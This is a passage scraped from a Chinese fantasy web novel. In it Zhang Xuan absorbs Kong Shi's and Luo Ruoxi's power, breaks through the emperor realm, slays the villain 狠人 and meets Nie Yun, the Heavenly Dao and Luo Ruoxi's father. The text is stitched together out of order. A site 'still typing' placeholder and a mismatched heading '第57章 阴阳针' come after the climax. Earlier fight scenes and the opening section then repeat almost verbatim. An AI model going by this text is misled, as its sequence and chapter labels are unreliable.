“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第57章 阴阳针 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? 